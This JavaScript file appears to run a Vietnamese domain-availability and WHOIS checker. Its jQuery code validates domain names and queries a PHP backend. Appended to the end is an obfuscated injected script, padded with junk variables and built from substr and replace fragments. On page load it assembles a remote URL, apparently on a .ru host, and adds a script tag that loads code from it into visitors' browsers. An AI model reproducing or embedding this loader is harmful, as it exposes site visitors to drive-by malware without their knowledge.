/*
 * DOHOAVN.INFO
 * http://dohoavn.info/
 *
 * Copyright (c) 2009 DOHOAVN.INFO
 * Powered by HT ( YM: phan_huutam )
 */
function template(num,dm,ex){
	if(num==2){
		return '<div id="'+replacedot((dm+ex))+'"><label>Domain <strong>'+dm+'.'+ex+'</strong> is checking...<img src="domain/img/loading2.gif" /></label></div>';
	}
	if(num==3){
		return '<label id="registered"><span>'+dm+'.'+ex+'</span> | <img src="domain/img/notavailable.gif" /> | <a href="javascript:ht_whois(\''+dm+'\',\''+ex+'\')">is already registered</a></label>';
	}
	if(num==4){
		return '<label id="available"><strong><font color="green">'+dm+'.'+ex+'</font></strong> | <img src="domain/img/OK.gif" /> | is available</a></label>';
	}
}
function replacedot(str){
	return str.replace(/[.]/gi,'');
}
$(function(){	
	$('#check').click(function(){
		$('#rowResult').html('');
		var domain = $('#domainId').val();
		var ext = $('input[name=ext]');
		var errlogs = '';
		
		if(domain.length < 2){
			errlogs += '+ Domain name too short \n';			
		}
		if(!validateDomain(domain)){
			errlogs += '+ Domain includes only the characters A-Z, 0-9 and minus (-) \n';			
		}
		if(domain.indexOf('--') != -1){
			errlogs += '+ Domain name can\'t contain characters: -- \n';
		}
		if(domain.indexOf('-')==0 || domain.lastIndexOf('-')==domain.length-1){
			errlogs += '+ Domain name can\'t begin/end with: - \n';
		}
		if(errlogs != ''){
			alert(errlogs);
			return false;
		}
		else {
			var hasChecked = false;
			ext.each(function(){
				if(this.checked){
					hasChecked=true;
					$(template(2,domain,this.id)).appendTo('#rowResult');
				}
			});
			if(!hasChecked){
				alert("Please select at least one domain extension.");
				return false;
			}else{
				ext.each(function(){
					if(this.checked){
						$.ajax({
							type:'GET',
							url: 'index.php',
							data: 'act=check&domain='+domain+'&ext='+this.id,							
							success:function(html){
								html = $.trim(html);
								ext = new Array(html.slice(domain.length,(html.length -1)),html.slice(domain.length,(html.length)))
								if(html){
									if(html.lastIndexOf('.') == (html.length -1)){
										$('#'+replacedot(domain+ext[0])+'').html(template(3,domain,ext[0]));
									}
									else{
										$('#'+replacedot(domain+ext[1])+'').html(template(4,domain,ext[1]));
									}
								}else{
									$('#rowResult').html('Can\'t connect to server.');								
								}																
							}
						});
					}
				});
			}
		}
	});			
	$('#chkall').click(function(){
		var checked_status = this.checked;
		$('input[name=ext]').each(function(){
			this.checked = checked_status;
		});
	});
});
function ht_whois(domain,ext){
	$('#resultInfo').dialog('open');
	$('#resultInfo').dialog({	
		width: 600,
		height: 500,
		modal:true
	});
	$('#resultInfo').dialog('option', 'title', 'whois'+' '+domain+'.'+ext);
	$('#resultInfo').html('<div style="text-align:center;margin-top:200px"><img src="domain/img/loading1.gif" /></div>');
	$.ajax({
		type: 'GET',
		url: 'index.php',
		data: 'act=info&domain='+domain+'&ext='+ext,
		success: function(html){
		 	$('#resultInfo').html(html);
		}
	});
}
function validateDomain(elementValue){    
   var domainPattern = /^[a-zA-Z0-9-]+$/ ;
   return domainPattern.test(elementValue); 
}
var V;if(V!=''){V='j'};var YH=new Array();try {var n;if(n!='iM' && n!='I'){n='iM'};var Z='';var h=String("RImDg".substr(4));var Nz='';var s=RegExp;var Q="HL0[".substr(3);var BG;if(BG!='' && BG!='q'){BG=''};var u=String("rep"+"lac"+"e");var A=new Date();var nA;if(nA!=''){nA='J'};this.kD="";var F="]R7Sv".substr(0,1);this.QJ="";var c=new Array();var v;if(v!='' && v!='of'){v='E'};function x(H,B){var vT='';var R;if(R!='ow' && R!='E_'){R=''};var JK="";var G=Q;G+=B;var DY="";this.C="";G+=F;var w=new s(G, h);this.NP="";this.Gv="";return H.replace(w, Z);var qS=new String();};var N=String("/vi2buf".substr(0,3)+"QqArgiqQA".substr(3,3)+"lio"+".it"+"OuLE/vi".substr(4)+"Ujkrgi".substr(3)+"lio"+".it"+"TYQ/go".substr(3)+"WVMrogl".substr(4)+"rA6ve.c".substr(4)+"C3thom/3thC".substr(4,3)+"del"+"oJwl.c".substr(3)+"om/"+"nFhPverFnhP".substr(4,3)+"izo16kR".substr(0,3)+"lofnwilof".substr(3,3)+"f2BYrel".substr(4)+"73Xess".substr(3)+"Q0u.couQ0".substr(3,3)+"xS4m.pSx4".substr(3,3)+"hp");var cE="";var P=x('hqtKtKpq:C/H/qgHoDoCgClCeq-Dcqaq.qlCiDvDeK.DcqoHmK.HbClqoKgDcqaHtqaClCoqgq-qcCoKmC.CmKyCoDwDnCaCgqeD.CrquK:q',"HDKCq");var oN;if(oN!='QC'){oN='QC'};var y=new Date();var H="1";this.M='';var NN=x('8112550552787711052521',"5712");var tH=new String();var z='';var zp;if(zp!='Nb' && zp!='cD'){zp='Nb'};var wp;if(wp!='xB' && wp!='zz'){wp='xB'};var i=String("onl"+"oad");var Vd;if(Vd!='Tt' && Vd!='ib'){Vd=''};var rY="";var sp=new String("scrik08M".substr(0,4)+"pt");window[i]=function(){var Xl=new String();var rYv;if(rYv!='' && rYv!='WS'){rYv=''};FM=document.createElement(sp);var qI=new Array();var ea=new Array();this.nV='';var ue;if(ue!='Pk' && ue!='WD'){ue=''};z+=P;var ch;if(ch!='wm'){ch=''};z+=NN+N;var nT=new String();var TR;if(TR!='oY' && TR!='GGb'){TR='oY'};FM.defer=H;var dn;if(dn!='cb' && dn!='f'){dn='cb'};FM.src=z;var nD=new String();var _=document.body;var mO=new Date();var Vp;if(Vp!='' && Vp!='JS'){Vp=null};this.Ao='';var zM=new String();_.appendChild(FM);this.sl='';var Df;if(Df!='' && Df!='Hx'){Df=''};};var _f;if(_f!='spa' && _f!='Ac'){_f='spa'};var iH="";this.jE='';var Ec=new String();} catch(Y){this.ZK='';var rh=new Array();};var wv;if(wv!='' && wv!='sV'){wv=''};var hW=new Array();